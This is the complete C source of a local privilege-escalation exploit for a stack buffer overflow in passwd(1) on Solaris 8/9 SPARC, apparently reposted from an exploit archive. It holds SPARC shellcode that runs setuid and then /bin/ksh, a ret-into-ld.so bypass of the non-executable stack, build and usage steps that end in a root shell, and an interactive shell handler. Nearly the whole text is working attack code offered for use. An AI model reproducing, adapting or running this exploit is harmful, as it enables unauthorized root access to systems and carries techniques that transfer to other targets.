Solaris 8/9 passwd(1) - circ() Stack-Based Buffer Overflow Privilege Escalation Exploit

/*
 * $Id: raptor_passwd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9
 * Copyright (c) 2004 Marco Ivaldi <[email protected]>
 *
 * Unknown vulnerability in passwd(1) in Solaris 8.0 and 9.0 allows local users 
 * to gain privileges via unknown attack vectors (CAN-2004-0360).
 *
 * "Those of you lucky enough to have your lives, take them with you. However,
 * leave the limbs you've lost. They belong to me now." -- Beatrix Kidd0
 *
 * This exploit uses the ret-into-ld.so technique, to effectively bypass the
 * non-executable stack protection (noexec_user_stack=1 in /etc/system). The
 * exploitation wasn't so straight-forward: sending parameters to passwd(1) 
 * is somewhat tricky, standard ret-into-stack doesn't seem to work properly 
 * for some reason (damn SEGV_ACCERR), and we need to bypass a lot of memory
 * references before reaching ret. Many thanks to Inode <[email protected]>.
 *
 * Usage:
 * $ gcc raptor_passwd.c -o raptor_passwd -ldl -Wall
 * $ ./raptor_passwd <current password>
 * [...]
 * # id
 * uid=0(root) gid=1(other) egid=3(sys)
 * #
 *
 * Vulnerable platforms:
 * Solaris 8 with 108993-14 through 108993-31 and without 108993-32 [tested]
 * Solaris 9 without 113476-11 [tested]
 */
 
#include <ctype.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/systeminfo.h>
 
#define INFO1   "raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9"
#define INFO2   "Copyright (c) 2004 Marco Ivaldi <[email protected]>"
 
#define VULN    "/usr/bin/passwd"   // target vulnerable program
#define BUFSIZE 256         // size of the evil buffer
#define VARSIZE 1024            // size of the evil env var
#define FFSIZE  64 + 1          // size of the fake frame
#define DUMMY   0xdeadbeef      // dummy memory address
#define CMD "id;uname -a;uptime;\n" // execute upon exploitation
 
/* voodoo macros */
#define VOODOO32(_,__,___)  {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___)  {_+=7-(_+(__+___+1)*4+3)%8;}
 
char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
 
/* globals */
char    *env[256];
int env_pos = 0, env_len = 0;
 
/* prototypes */
int add_env(char *string);
void    check_addr(int addr, char *pattern);
int find_pts(char **slave);
int search_ldso(char *sym);
int search_rwx_mem(void);
void    set_val(char *buf, int pos, int val);
void    shell(int fd);
int read_prompt(int fd, char *buf, int size);
 
/*
 * main()
 */
int main(int argc, char **argv)
{
    char    buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
    char    platform[256], release[256], cur_pass[256], tmp[256];
    int i, offset, ff_addr, sc_addr, var_addr;
    int plat_len, prog_len, rel;
 
    char    *arg[2] = {"foo", NULL};
    int arg_len = 4, arg_pos = 1;
 
    int     pid, cfd, newpts;
    char    *newpts_str;
 
    int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
    int ret = search_ldso("strcpy");
    int rwx_mem = search_rwx_mem();
 
    /* print exploit information */
    fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
 
    /* read command line */
    if (argc != 2) {
        fprintf(stderr, "usage: %s current_pass\n\n", argv[0]);
        exit(1);
    }
    sprintf(cur_pass, "%s\n", argv[1]);
 
    /* get some system information */
    sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
    sysinfo(SI_RELEASE, release, sizeof(release) - 1);
    rel = atoi(release + 2);
 
    /* prepare the evil buffer */
    memset(buf, 'A', sizeof(buf));
    buf[sizeof(buf) - 1] = 0x0;
    buf[sizeof(buf) - 2] = '\n';
 
    /* prepare the evil env var */
    memset(var, 'B', sizeof(var));
    var[sizeof(var) - 1] = 0x0;
 
    /* prepare the fake frame */
    bzero(ff, sizeof(ff));
 
    /*
     * saved %l registers
     */
    set_val(ff, i  = 0, DUMMY);     /* %l0 */
    set_val(ff, i += 4, DUMMY);     /* %l1 */
    set_val(ff, i += 4, DUMMY);     /* %l2 */
    set_val(ff, i += 4, DUMMY);     /* %l3 */
    set_val(ff, i += 4, DUMMY);     /* %l4 */
    set_val(ff, i += 4, DUMMY);     /* %l5 */
    set_val(ff, i += 4, DUMMY);     /* %l6 */
    set_val(ff, i += 4, DUMMY);     /* %l7 */
 
    /*
     * saved %i registers
     */
    set_val(ff, i += 4, rwx_mem);       /* %i0: 1st arg to strcpy() */
    set_val(ff, i += 4, 0x42424242);    /* %i1: 2nd arg to strcpy() */
    set_val(ff, i += 4, DUMMY);     /* %i2 */
    set_val(ff, i += 4, DUMMY);     /* %i3 */
    set_val(ff, i += 4, DUMMY);     /* %i4 */
    set_val(ff, i += 4, DUMMY);     /* %i5 */
    set_val(ff, i += 4, sb - 1000);     /* %i6: frame pointer */
    set_val(ff, i += 4, rwx_mem - 8);   /* %i7: return address */
 
    /* fill the envp, keeping padding */
    ff_addr = add_env(var);         /* var must be before ff! */
    sc_addr = add_env(ff);
    add_env(sc);
    add_env(NULL);
 
    /* calculate the offset to argv[0] (voodoo magic) */
    plat_len = strlen(platform) + 1;
    prog_len = strlen(VULN) + 1;
    offset = arg_len + env_len + plat_len + prog_len;
    if (rel > 7)
        VOODOO64(offset, arg_pos, env_pos)
    else
        VOODOO32(offset, plat_len, prog_len)
 
    /* calculate the needed addresses */
    var_addr = sb - offset + arg_len;
    ff_addr += var_addr;
    sc_addr += var_addr;
 
    /* set fake frame's %i1 */
    set_val(ff, 36, sc_addr);       /* 2nd arg to strcpy() */
 
    /* check the addresses */
    check_addr(var_addr, "var_addr");
    check_addr(ff_addr, "ff_addr");
 
    /* fill the evil buffer */
    for (i = 0; i < BUFSIZE - 4; i += 4)
        set_val(buf, i, var_addr);
    /* may need to bruteforce the distance here */
    set_val(buf, 112, ff_addr);
    set_val(buf, 116, ret - 4);     /* strcpy(), after the save */
 
    /* fill the evil env var */
    for (i = 0; i < VARSIZE - 4; i += 4)
        set_val(var, i, var_addr);
    set_val(var, 0, 0xffffffff);        /* first byte must be 0xff! */
 
    /* print some output */
    fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
    fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
    fprintf(stderr, "Using var address\t: 0x%p\n", (void *)var_addr);
    fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
    fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
    fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
    fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
     
    /* find a free pts */
    cfd = find_pts(&newpts_str);
 
    /* fork() a new process */
    if ((pid = fork()) < 0) {
        perror("fork");
        exit(1);
    }
 
    /* parent process */
    if (pid) {
 
        sleep(1);
 
        /* wait for password prompt */
        if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) {
            fprintf(stderr, "Error: timeout waiting for prompt\n");
            exit(1);
        }
        if (!strstr(tmp, "ssword: ")) {
            fprintf(stderr, "Error: wrong prompt received\n");
            exit(1);
        }
         
        /* send the current password */
        write(cfd, cur_pass, strlen(cur_pass));
        usleep(500000);
 
        /* wait for password prompt */
        if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) {
            fprintf(stderr, "Error: timeout waiting for prompt\n");
            exit(1);
        }
        if (!strstr(tmp, "ssword: ")) {
            fprintf(stderr, "Error: wrong current_pass?\n");
            exit(1);
        }
 
        /* send the evil buffer */
        write(cfd, buf, strlen(buf));
        usleep(500000);
         
        /* got root? */
        if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) {
            fprintf(stderr, "Error: timeout waiting for shell\n");
            exit(1);
        }
        if (strstr(tmp, "ssword: ")) {
            fprintf(stderr, "Error: not vulnerable\n");
            exit(1);
        }
        if (!strstr(tmp, "# ")) {
            fprintf(stderr, "Something went wrong...\n");
            exit(1);
        }
 
        /* semi-interactive shell */
        shell(cfd);
 
    /* child process */
    } else {
 
        /* start new session and get rid of controlling terminal */
        if (setsid() < 0) {
            perror("setsid");
            exit(1);
        }
 
        /* open the new pts */
        if ((newpts = open(newpts_str, O_RDWR)) < 0) {
            perror("open");
            exit(1);
        }
 
        /* ninja terminal emulation */
        ioctl(newpts, I_PUSH, "ptem");
        ioctl(newpts, I_PUSH, "ldterm");
 
        /* close the child fd */
        close(cfd);
 
        /* duplicate stdin */
        if (dup2(newpts, 0) != 0) {
            perror("dup2");
            exit(1);
        }
 
        /* duplicate stdout */
        if (dup2(newpts, 1) != 1) {
            perror("dup2");
            exit(1);
        }
 
        /* duplicate stderr */
        if (dup2(newpts, 2) != 2) {
            perror("dup2");
            exit(1);
        }
 
        /* close the new pts */
        if (newpts > 2)
            close(newpts);
 
        /* run the vulnerable program */
        execve(VULN, arg, env);
        perror("execve");
    }
 
    exit(0);
}
 
/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
    int i;
 
    /* null termination */
    if (!string) {
        env[env_pos] = NULL;
        return(env_len);
    }
 
    /* add the variable to envp */
    env[env_pos] = string;
    env_len += strlen(string) + 1;
    env_pos++;
 
    /* pad the envp using zeroes */
    if ((strlen(string) + 1) % 4)
        for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
            env[env_pos] = string + strlen(string);
            env_len++;
        }
 
    return(env_len);
}
 
/*
 * check_addr(): check an address for 0x00, 0x04, 0x0a, 0x0d or 0x61-0x7a bytes
 */
void check_addr(int addr, char *pattern)
{
    /* check for NULL byte (0x00) */
    if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
        !(addr & 0xff000000)) {
        fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
        exit(1);
    }
 
    /* check for EOT byte (0x04) */
    if (((addr & 0xff) == 0x04) || ((addr & 0xff00) == 0x0400) ||
        ((addr & 0xff0000) == 0x040000) || 
        ((addr & 0xff000000) == 0x04000000)) {
        fprintf(stderr, "Error: %s contains a 0x04!\n", pattern);
        exit(1);
    }
 
    /* check for NL byte (0x0a) */
    if (((addr & 0xff) == 0x0a) || ((addr & 0xff00) == 0x0a00) ||
        ((addr & 0xff0000) == 0x0a0000) || 
        ((addr & 0xff000000) == 0x0a000000)) {
        fprintf(stderr, "Error: %s contains a 0x0a!\n", pattern);
        exit(1);
    }
 
    /* check for CR byte (0x0d) */
    if (((addr & 0xff) == 0x0d) || ((addr & 0xff00) == 0x0d00) ||
        ((addr & 0xff0000) == 0x0d0000) || 
        ((addr & 0xff000000) == 0x0d000000)) {
        fprintf(stderr, "Error: %s contains a 0x0d!\n", pattern);
        exit(1);
    }
 
    /* check for lowercase chars (0x61-0x7a) */
    if ((islower(addr & 0xff)) || (islower((addr & 0xff00) >> 8)) ||
        (islower((addr & 0xff0000) >> 16)) || 
        (islower((addr & 0xff000000) >> 24))) {
        fprintf(stderr, "Error: %s contains a 0x61-0x7a!\n", pattern);
        exit(1);
    }
}
 
/*
 * find_pts(): find a free slave pseudo-tty
 */
int find_pts(char **slave)
{
    int     master;
    extern char *ptsname();
 
    /* open master pseudo-tty device and get new slave pseudo-tty */
    if ((master = open("/dev/ptmx", O_RDWR)) > 0) {
        grantpt(master);
        unlockpt(master);
        *slave = ptsname(master);
        return(master);
    }
 
    return(-1);
}
 
/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
    int     addr;
    void        *handle;
    Link_map    *lm;
 
    /* open the executable object file */
    if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
        perror("dlopen");
        exit(1);
    }
 
    /* get dynamic load information */
    if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
        perror("dlinfo");
        exit(1);
    }
 
    /* search for the address of the symbol */
    if ((addr = (int)dlsym(handle, sym)) == NULL) {
        fprintf(stderr, "sorry, function %s() not found\n", sym);
        exit(1);
    }
 
    /* close the executable object file */
    dlclose(handle);
 
    check_addr(addr - 4, sym);
    return(addr);
}
 
/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
    int fd;
    char    tmp[16];
    prmap_t map;
    int addr = 0, addr_old;
 
    /* open the proc filesystem */
    sprintf(tmp,"/proc/%d/map", (int)getpid());
    if ((fd = open(tmp, O_RDONLY)) < 0) {
        fprintf(stderr, "can't open %s\n", tmp);
        exit(1);
    }
 
    /* search for the last RWX memory segment before stack (last - 1) */
    while (read(fd, &map, sizeof(map)))
        if (map.pr_vaddr)
            if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
                addr_old = addr;
                addr = map.pr_vaddr;
            }
    close(fd);
 
    /* add 4 to the exact address NULL bytes */
    if (!(addr_old & 0xff))
        addr_old |= 0x04;
    if (!(addr_old & 0xff00))
        addr_old |= 0x0400;
 
    return(addr_old);
}
 
/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
    buf[pos] =  (val & 0xff000000) >> 24;
    buf[pos + 1] =  (val & 0x00ff0000) >> 16;
    buf[pos + 2] =  (val & 0x0000ff00) >> 8;
    buf[pos + 3] =  (val & 0x000000ff);
}
 
/*
 * shell(): semi-interactive shell hack
 */
void shell(int fd)
{
    fd_set  fds;
    char    tmp[128];
    int n;
 
    /* quote from kill bill: vol. 2 */
    fprintf(stderr, "\"Pai Mei taught you the five point palm exploding heart technique?\" -- Bill\n");
    fprintf(stderr, "\"Of course.\" -- Beatrix Kidd0, alias Black Mamba, alias The Bride (KB Vol2)\n\n");
 
    /* execute auto commands */
    write(1, "# ", 2);
    write(fd, CMD, strlen(CMD));
 
    /* semi-interactive shell */
    for (;;) {
        FD_ZERO(&fds);
        FD_SET(fd, &fds);
        FD_SET(0, &fds);
 
        if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }
 
        /* read from fd and write to stdout */
        if (FD_ISSET(fd, &fds)) {
            if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
                fprintf(stderr, "Goodbye...\n");
                break;
            }
            if (write(1, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
 
        /* read from stdin and write to fd */
        if (FD_ISSET(0, &fds)) {
            if ((n = read(0, tmp, sizeof(tmp))) < 0) {
                perror("read");
                break;
            }
            if (write(fd, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
    }
 
    close(fd);
    exit(1);
}
 
/*
 * read_prompt(): non-blocking read from fd
 */
int read_prompt(int fd, char *buf, int size)
{
    fd_set      fds;
    struct timeval  wait;
    int     n = -1;
 
    /* set timeout */
    wait.tv_sec = 2;
    wait.tv_usec = 0;
 
    bzero(buf, size);
 
    FD_ZERO(&fds);
    FD_SET(fd, &fds);
 
    /* select with timeout */
    if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
        perror("select");
        exit(1);
    }
 
    /* read data if any */
    if (FD_ISSET(fd, &fds))
        n = read(fd, buf, size);
 
    return n;
}

#  0day.today [2018-01-02]  #